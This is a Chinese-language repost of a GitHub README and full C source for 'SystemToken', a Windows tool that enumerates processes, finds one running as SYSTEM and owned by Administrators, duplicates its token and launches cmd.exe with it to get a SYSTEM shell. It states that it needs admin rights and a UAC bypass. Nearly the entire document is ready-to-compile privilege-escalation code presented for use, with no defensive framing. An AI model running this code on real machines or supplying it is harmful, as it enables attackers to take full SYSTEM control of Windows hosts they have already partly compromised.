专门偷SYSTEM,owner为Administrators进程Token工具

项目地址:github

系统令牌

此代码将遍历系统上的所有进程,直到达到具有以下特征的进程:

  • 该过程的用户是SYSTEM
  • 该过程的所有者是管理员

一旦找到具有这两个特征的流程,便会复制该进程的令牌,并创建一个具有该令牌的新进程。这将导致SYSTEM get shell。

系统要求

此代码已在Windows 10 x64计算机上使用Visual Studio 2019进行了测试。
必须在绕过UAC和本地管理员特权的情况下运行。

用法

编译并运行SystemToken.exe

EnablePriv.h

#include<Windows.h>
#include<WinBase.h>
#include<stdio.h>
#include<securitybaseapi.h>

BOOL EnablePriv(void) {
	LUID debug_value, restore_value;
	BOOL lookup_debug, lookup_restore, token_info;
	HANDLE proc_token, current_handle;
	DWORD buffer_size;
	PTOKEN_PRIVILEGES all_token_privs;
	int RestoreFound = 0, DebugFound = 0;
	TOKEN_PRIVILEGES my_token;
	PTOKEN_PRIVILEGES p_mytoken;

	lookup_debug = LookupPrivilegeValueA(NULL, "SeDebugPrivilege", &debug_value);
	lookup_restore = LookupPrivilegeValueA(NULL, "SeRestorePrivilege", &restore_value);
	if (!lookup_debug || !lookup_restore)
		return FALSE;

	//get handle to your token
	current_handle = GetCurrentProcess();
	BOOL handle_result = OpenProcessToken(current_handle, TOKEN_ADJUST_PRIVILEGES | TOKEN_READ, &proc_token); //TOKEN_QUERY required to access token
	if (!handle_result)
		return FALSE;

	//Get Token structure length
	GetTokenInformation(proc_token, TokenPrivileges, NULL, 0, &buffer_size); //This function always fails, but returns buffer_size

	//call GetTokenInformation again to get the struct data
	all_token_privs = (PTOKEN_PRIVILEGES)malloc(buffer_size);
	token_info = GetTokenInformation(proc_token, TokenPrivileges, all_token_privs, buffer_size, &buffer_size);
	if (!token_info)
		return FALSE;

	//Now we will check if SeDebugPrivilege & SeRestorePrivilege is in all_token_privs
	for (int x = 0; x < all_token_privs->PrivilegeCount; x++) {
		if ((all_token_privs->Privileges[x].Luid.LowPart == debug_value.LowPart) && (all_token_privs->Privileges[x].Luid.HighPart == debug_value.HighPart)) {
			printf("[+] SeDebugPrivilege Found\n");
			DebugFound++;
		}
		else if ((all_token_privs->Privileges[x].Luid.LowPart == restore_value.LowPart) && (all_token_privs->Privileges[x].Luid.HighPart == restore_value.HighPart)) {
			printf("[+] SeRestorePrivilege Found\n");
			RestoreFound++;
		}
		else if (DebugFound == 1 && RestoreFound == 1)
			break;
		else
			continue;
	}

	if (!DebugFound) {
		printf("[!] SeDebugPrivilege not found\n");
		return FALSE;
	}
	if (!RestoreFound) {
		printf("[!] SeRestorePrivilege not found\n");
		return FALSE;
	}

	//change the token privilege for SeRestore then
	//define the new token struct
	//to enable more than 1 privilege at a time, change the
	//ANYSIZE_ARRAY definition in winnt.h 
	my_token.PrivilegeCount = 1;
	my_token.Privileges[0].Luid = restore_value;
	my_token.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
	//my_token.Privileges[1].Luid = debug_value;
	//my_token.Privileges[1].Attributes = SE_PRIVILEGE_ENABLED;
	p_mytoken = &my_token;

	//now change the token 
	BOOL change_priv = AdjustTokenPrivileges(proc_token, FALSE, p_mytoken, 0, NULL, NULL);
	if (!change_priv)
		return FALSE;

	return TRUE;

}

main.c

#include <Windows.h>
#include <TlHelp32.h>
#include <stdio.h>
#include <UserEnv.h>
#include <tchar.h>
#include "../SystemToken/EnablePriv.h"

#define MAX_PATH 35
#define MAX_ARRAY 35
#define NAME_ARRAY 200

int protected_check(DWORD pid);
BOOL system_check(PROCESSENTRY32 process);
void token_elevation(HANDLE process);

typedef struct _process {
	PROCESSENTRY32 pprocess;
	struct process* next;
} process;

typedef struct _protected_process {
	PROCESSENTRY32 pprotected;
} protected_process;

int system_check_flag = 0;


int main(void) {
	process* head, * position = NULL;
	PROCESSENTRY32 each_process, entry;
	HANDLE snapshot_proc;
	BOOL first_result, system_process;
	protected_process protected_arr[MAX_ARRAY];
	int protected_count = 0;

	//Uncomment to enable token privileges
	/*BOOL debug_result = EnablePriv();
	if (!debug_result) {
		printf("[!] Error: Failed to acquire Privileges!\n\n");
	}
	else
		printf("[+] SeRestore Privilege Acquired!\n\n");*/

	snapshot_proc = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
	if (snapshot_proc == INVALID_HANDLE_VALUE) {
		printf("[!] Error: Could not return handle on snapshot");
		exit(1);
	}

	each_process.dwSize = sizeof(PROCESSENTRY32);
	first_result = Process32First(snapshot_proc, &each_process);
	if (!first_result) {
		printf("[!] Error: Could not grab first process");
		exit(1);
	}

	//Linked list used for future examples on access to different processes for different actions
	//Create first node in linked list
	process* new_entry = (process*)malloc(sizeof(process));
	if (new_entry == NULL) {
		printf("[!] Could not assign new entry on heap!");
		exit(1);
	}

	//The first entry in the linked list is mapped by the head pointer
	new_entry->pprocess = each_process;
	new_entry->next = NULL;
	head = new_entry;

	system_process = system_check(each_process);
	if (system_process) {
		int protection_result = protected_check(each_process.th32ProcessID);
		if (protection_result) {
			protected_arr[protected_count].pprotected = each_process; //added protected processes to array for future use
			protected_count += 1;
		}
	}

	while (Process32Next(snapshot_proc, &each_process)) {
		position = head;
		while (position->next != NULL)
			position = position->next;
		process* next_entry = (process*)malloc(sizeof(process));
		if (new_entry == NULL) {
			printf("[!] Could not assign new entry on heap!");
			exit(1);
		}
		next_entry->pprocess = each_process;
		next_entry->next = NULL;
		position->next = next_entry;

		//after finding the System process once we ignore the system_check function going forward
		if (!system_check_flag) {
			system_process = system_check(each_process);
			if (!system_process)
				continue;
		}

		int protection_result = protected_check(each_process.th32ProcessID);
		if (protection_result) {
			if (protected_count != MAX_ARRAY) {
				protected_arr[protected_count].pprotected = each_process;
				protected_count += 1;
			}
		}

	}
	CloseHandle(snapshot_proc);
}

int protected_check(DWORD pid) {
	HANDLE proc_handle = OpenProcess(PROCESS_QUERY_INFORMATION, TRUE, pid);
	if (proc_handle == NULL) {
		HANDLE proc_handle = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, TRUE, pid); //required for protected processes
		token_elevation(proc_handle);
		return 1;
	}
	token_elevation(proc_handle);
	return 0;
}

//This function serves to skip over the "System" process
//Trying to steal its token fails and delays code execution
//Once this function returns FALSE it means the System process
//has been found and this function is no longer needed
BOOL system_check(PROCESSENTRY32 process) {
	CHAR *system_process = "System";
	int comparison = 0;

	for (int i = 0; i < MAX_PATH; i++) {
		if (process.szExeFile[i] == '\0')
			break;
		else if (process.szExeFile[i] == *system_process) {
			system_process++;
			comparison++;
		}
		else
			break;
	}
	if (wcslen(process.szExeFile) == comparison) {
		system_check_flag++;
		return FALSE;
	}
	return TRUE;
}

//This function's objective is to get the user of a process and check if
//it is SYSTEM
BOOL GetUserInfo(HANDLE token, PTCHAR account_name, PTCHAR domain_name) {
	DWORD token_size, name_size = NAME_ARRAY, domain_size = NAME_ARRAY;
	PTOKEN_USER token_user;
	SID_NAME_USE sid_type;
	int comparison = 0;
	PTCHAR arr_cmp = L"SYSTEM";

	GetTokenInformation(token, TokenUser, NULL, 0, &token_size);
	token_user = (PTOKEN_USER)malloc(token_size);
	BOOL result = GetTokenInformation(token, TokenUser, token_user, token_size, &token_size);
	if (!result) {
		printf("[!] Error: Could not obtain user token information!\n");
		return 1;
	}
	else {
		result = LookupAccountSid(NULL, token_user->User.Sid, account_name, &name_size, domain_name, &domain_size, &sid_type);
		if (!result) {
			printf("[!] Error: Could not get user details!\n");
		}
	}
	free(token_user);

	int arr_length = wcslen(account_name);

	for (int z = 0; z < NAME_ARRAY; z++) {
		if (*account_name == '\0')
			break;
		else if (*account_name == *arr_cmp) {
			comparison++;
			account_name++;
			arr_cmp++;
		}
		else
			break;
	}
	if (comparison == arr_length) 
		return TRUE;
	else
		return FALSE;
}

//this function's objective is to get the owner of the process and check if
//it is part of the Administrators group
BOOL GetOwnerInfo(HANDLE token, PTCHAR account_name, PTCHAR domain_name) {
	DWORD token_size = NULL, name_size = NAME_ARRAY, domain_size = NAME_ARRAY;
	PTOKEN_OWNER token_owner;
	SID_NAME_USE sid_type;
	int comparison = 0;
	PTCHAR arr_cmp = L"Administrators";
	SecureZeroMemory(account_name, NAME_ARRAY);
	SecureZeroMemory(domain_name, NAME_ARRAY);

	GetTokenInformation(token, TokenOwner, NULL, 0, &token_size);
	token_owner = (PTOKEN_OWNER)malloc(token_size);
	BOOL result = GetTokenInformation(token, TokenOwner, token_owner, token_size, &token_size);
	if (!result) {
		printf("[!] Error: Could not obtain owner token information!\n");
	}
	else {
		result = LookupAccountSid(NULL, token_owner->Owner, account_name, &name_size, domain_name, &domain_size, &sid_type);
		if (!result) {
			printf("[!] Error: Could not get user details!\n");
		}
	}
	free(token_owner);

	int arr_length = wcslen(account_name);

	for (int z = 0; z < NAME_ARRAY; z++) {
		if (*account_name == '\0')
			break;
		else if (*account_name == *arr_cmp) {
			comparison++;
			account_name++;
			arr_cmp++;
		}
		else
			break;
	}
	if (comparison == arr_length)
		return TRUE;
	else
		return FALSE;
}

//This function will attempt to duplicate a SYSTEM token and create 
//a new process with it. If successful SYSTEM shell obtained
void token_elevation(HANDLE process) {
	TCHAR account_name[NAME_ARRAY], domain_name[NAME_ARRAY];
	HANDLE ptoken, new_token;
	STARTUPINFO startupinfo = { 0 };
	PROCESS_INFORMATION procinfo = { 0 };
	BOOL user_check, owner_check, duplicated;

	BOOL result = OpenProcessToken(process, MAXIMUM_ALLOWED, &ptoken); //
	if (!result) {
		//printf("[!] Error: Could not open handle to token\n");
		return 1;
	}

	user_check = GetUserInfo(ptoken, account_name, domain_name);
	owner_check = GetOwnerInfo(ptoken, account_name, domain_name);
	
	if (user_check & owner_check) {
		result = DuplicateTokenEx(ptoken, TOKEN_ALL_ACCESS, NULL, SecurityImpersonation, TokenPrimary, &new_token);
		if (result) {
			printf("[+] Token Duplicated\n");
			duplicated = CreateProcessWithTokenW(new_token, LOGON_WITH_PROFILE, L"C:\\Windows\\System32\\cmd.exe", NULL, CREATE_NEW_CONSOLE, NULL, NULL, &startupinfo, &procinfo);
			if (duplicated) {
				printf("[+] SUCCESS");
				CloseHandle(&startupinfo); 
				CloseHandle(&procinfo);
				exit(1);
			}
			else
			{
				printf("[!] FAIL");
			}
		}
	}
}

参考文献

这项工作基于SpectreOps https://docs.microsoft.com/en-us/windows/win32/secauthz/access-tokens的Justin Bui所做的研究。

专门偷SYSTEM,owner为Administrators进程Token工具